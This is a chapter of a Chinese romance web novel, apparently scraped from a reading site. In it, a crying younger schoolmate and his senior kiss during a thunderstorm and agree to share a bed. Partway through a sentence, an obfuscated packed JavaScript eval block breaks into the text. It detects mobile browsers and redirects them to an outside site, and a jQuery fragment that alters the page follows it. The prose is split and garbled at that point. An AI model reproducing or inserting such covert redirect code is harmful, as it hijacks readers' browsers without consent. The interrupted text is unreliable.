67. 哭得很漂亮

作品:《鸟哨

    师姐专心致志玩着游戏。温霖单手帮她开了罐,顺便拿两颗果冻撕开包装慢慢吸。


    他有点沮丧,心脏不停喧嚣。在福缘寺里,安唯曾经问他星座,然后露出一副意味深长的表情。


    ——“两个天蝎啊,不是灵魂伴侣就是相互绞杀。你选哪个?”


    “绞杀”听起来挺干脆,不留痕迹。温霖想象师姐的手沉到自己颈间,倘若真有那一天,他恐怕也闭上眼欣然接受。


    ——“我好像没得选。”


    当时他礼貌地笑着,给了个模棱两可的回答。


    九点半了。


    桃子气味在唇齿间跳动,他细致地吮着果冻,看电视里她亲手捏的女战士又一次挥起直剑。


    宁蓁独自玩到很晚,最后怕打扰沐沐睡觉才存档关掉游戏。温霖想陪着,却被她早早推回房间。


    “不早睡的话长不高哦。”


    她淡然的面容透着狡黠的笑意,显然是记得多年前一起出逃那天。


    深夜,窗外雨势愈猛,顷刻间盖住路灯惨淡的光。莫名的不安在屋内疯狂生长,他融入黑暗,用手臂遮住双眼,怀疑师姐有没有真的喜欢他。她没准只是恋旧。亲吻的时候不推开,也只是一时忘了拒绝。


    毕竟她连那时都在分心。


    陷进床的柔软近在咫尺,他却不知道她在想什么。


    他凌晨入眠,睡得极不安稳。第二天,公司的孙姐捧着电脑给大家分零食,说昨天出了条爆款,点赞量上二十万。温霖在这事上极为自谦,认为和他关系不大,运营策划视频剪辑都是内容部做的,他只给账号起了个名字,外加配合出镜。


    “孙姐今天请吃个晚饭吧!”


    “就是就是,所有人都去啊。”


    他微笑着摆摆手,只想看师姐写的留言,拿出手机,却瞥见用户A897DE3的关注数是一个刺眼的零。


    *


    白天,宁蓁投了篇新稿子,跑去客厅点亮主机。


    游戏世界宏大,每个犄角旮旯都藏着埋伏,强行拴住她的注意力。死亡让人越挫越勇,为了打倒下个boss,为了看看从这一侧无法打开的门到底通向哪里。


    她完全沉浸其中,没看手机,三小时后才发觉微信里有新消息。


    「周日小宇回国,一起迎接么」


    以为是师弟,结果竟然是兢兢业业的王老师。


    「想着你们也好久没见了,没别的意思」


    「如果你有空去的话再联系」


    小宇……


    除了李肃,世上仅剩他一个人和她最爱的姥姥有所关联。


    宁蓁放下手柄,回了一句“在哪”。


    自从姨妈离婚,小宇出国,他们就没再联络。十年了。她不知道他如今长成什么模样,甚至通讯录里存的还是他儿时旧房子的座机号码。


    小宇小时候是一块石头。所以当初执拗的初中少年不肯下楼梯时,她觉得他们有几分相像。


    然后,天色逐渐阴沉。又下雨了。


    晚上温霖按时回家,照例食不言寝不语。雨天气温低,十二点,宁蓁钻进被子,恍恍惚惚做了梦。她梦见女主人公有三个约会对象,无比清晰真实,直到一个惊雷打响轰隆隆把梦乡摔个粉碎。


    夏天的第一声雷。


    她猛然惊醒,一时难以安眠。


    沐沐今夜进了笼子,四周遮着黑布,为穴居动物模拟狭小洞穴的安全感。小狗熟睡,客厅沉甸甸的静,只有窗外闪电劈得夜空天光乍现。


    宁蓁烧了壶热水等待放凉,回想着意犹未尽的梦。


    梦中没有姥姥和小宇,也没有师弟,似乎和她的生活完全无关。


    无关吗?


    拨开窗帘,正巧电闪雷鸣,黑夜照得宛如白昼。


    轰隆——


    雷声慢几秒,直直砸中心脏,她被吓得倒退两步。


    背后是柔软的棉质衣料和薄凉的体温。


    “还没睡啊,师姐。”


    宁蓁转过头,发现自己撞进了他怀里。


    她扶了一把他的小臂稳住重心:“我做梦,被吓醒了。”


    温霖好像也刚刚醒来:“梦见什么?”


    标准问答,但宁蓁的回应彻底脱离了轨道。


    “……梦见一个女孩有三个约会对象。一个年长,表面轻浮背地里脆得像玻璃。一个模特身材的高冷冰山,但私底下非常纯爱。还有一个学古典乐演奏,比她小七岁。”


    “……”


    太详细了。


    详细到他无言以对。


    三句话,三个机会,温霖试图找到位置,却发现哪个模子都放不进去他自己。


    他其实站在客厅里看了她许久。她单薄的身形立在落地窗前,悄悄掀开窗帘往外探望,仿佛下一秒要张开翅膀飞出去。


    如果飞出去,她就不会回来了。


    “……”


    浓重的沉默蔓延开来。


    漆黑中,宁蓁感觉到他手臂一僵,眼神收不住凌乱。


    忽然,他变成一场失去方向的风。


    “师姐。”


    “嗯。”


    温霖声音低哑,埋进她颈侧。


    “你不能有三个。”


    风抱了过来,双手交叠在她腰间紧紧环绕。宁蓁又感觉心里某个地方酸胀地疼。


    “可是我梦见的不是我……”


    正解释着,滚烫的眼睛贴上她颈间肌肤。


    湿润的,一片冰凉。


    他哭了……?


    就因为一场没由来的绮梦?


    脆弱的双眼彻底湿着,鼻尖向下蹭了蹭。呼吸扑在颈窝,温度灼人。他流泪的时候终于热了,一直烧到她身上。


    宁蓁抬手轻抚他的背,她好像不是第一次看他掉眼泪了。


    “你都不和我牵手,也不抱我……”


    声音快要闷进她胸口,他自言自语般低喃,双唇无意识摩挲着她锁骨下的皮肤。


    好痒。


    她不禁皱眉,决定稍微拉开点距离。


    温霖用尽力气抱她,却像虚张声势的锁,轻轻一拨就扣不住了。


    但只有手,他不愿意放开。


    轰隆——


    雷雨夜的惊吓突如其来。


    窗帘掀开一条缝,惨白的裂痕贯穿雨夜。她借着闪电的光看清师弟的脸,眼眶红了,压抑着却止不住,眼泪涟涟往下滑,最后没入黑暗。


    轰隆——


    雷声接连乍响,他无暇擦掉泪水,绕在她手臂的腰紧了几分。


    “你怕打雷。”宁蓁仰起头问。


    温霖哽咽一瞬:“我怕你消失。”


    是真心话,还是掩盖害怕雷声的借口?她拍拍他后背,但他的眼泪怎么掉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488322|163236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得更厉害了。


    “师姐到底喜不喜欢我……”


    宁蓁心弦一紧。


    因为他哭得很漂亮。


    不知道在哪里,她说过这句话。


    “嗯……”


    她低头承认,心里却暗暗希望他不要停止流泪。


    “为什么?”他问。


    “需要理由吗。”


    “是说不出来吧。”


    温霖以为她找不到喜欢的理由,所以才编造出“不需要理由”。他黏人又容易受伤,让她感到负担,想甩开也是应该的。


    那就甩开我吧。


    他一边哭一边自暴自弃地想,手却抱得更紧更紧。


    “……”


    宁蓁确实说不出来。


    她连温霖的名字都难念,怎么可能用明确的语言说出喜欢他的理由。


    雷声滚滚蹂躏着心脏。他贴得太近,眼泪挂在柔软的唇角摇摇欲坠,问她“是不是只想做朋友”。


    月亮的影子被雨夜打湿,颓然地泛红发热。


    干脆亲他好了。


    她右手探进他柔顺的黑发,抬头在他唇上轻啄。


    一秒,两秒。


    该离开时,温霖却用上臂的力量抵住她的背隔绝退路。


    不要走。


    他用冰冷的眼泪传递着那三个字,亲吻逐渐加深。


    青草香味在呼吸间翕动,一颤一颤,滑入短暂失神的空隙。她心口的疼痛流向小腹,勾起酸涩的瘾。宁蓁左手无力地揪了揪他的衣领,防止深到迷离的地步。下个惊雷响起时,他停了,留下细不可闻的抽泣声。


    “……朋友不会这样。”


    她平复着气息。


    只有恋人才会接吻,所以我们不只是朋友。


    温霖低垂着雾蒙蒙的眼,似乎勉强接受。


    热水倒进玻璃的壶,不知道有没有放凉。宁蓁刚才口渴想碰水,结果脸上唇上沾着他的眼泪弄湿。


    “那,你玩游戏的时候别再赶我走。”


    嗓音低闷别扭。


    其实她注意到了,昨天他擦干净瓶口,一只手拎着易拉罐嘭的一声打开,然后缩在沙发里吸吮着果冻。


    有些落寞,但宁蓁故意没去理会。


    “你在旁边……影响发挥。”她上身前倾,藏住言语中的羞赧,去找他胸膛的跳动。


    温霖忽然顿住,过一会儿才说句“哦”。


    “那又为什么取消关注……”


    “同样的理由应该不用说第二次。”


    她搬来一个小谎。


    不是过分悸动影响她控制角色挥剑,而是她总想起他们那天的吻。


    黑暗中看不见什么,可心跳的拍数出卖了他。稳健,强劲,愈演愈烈,每分钟一百五十下,不亚于深吻纠缠。


    雨夜幽深,适应雷声后反而倦意上涌。该睡了,她困到脚步虚浮,走到门口却被他牵着不放。


    这回轻易拨不开了。


    “今晚一起睡好不好。”


    紧握的手轻晃两下示意邀请,等待她开口答应。房间门开着,一盏阅读灯架在床边柜,晕开暖黄的光,隐约照亮床上平整的双人被和两只并排的枕头。


    宁蓁叹了口气。


    他脸颊有哭过的痕迹,让人无法拒绝。


    好吧。


    真搞不懂他。但是,好吧。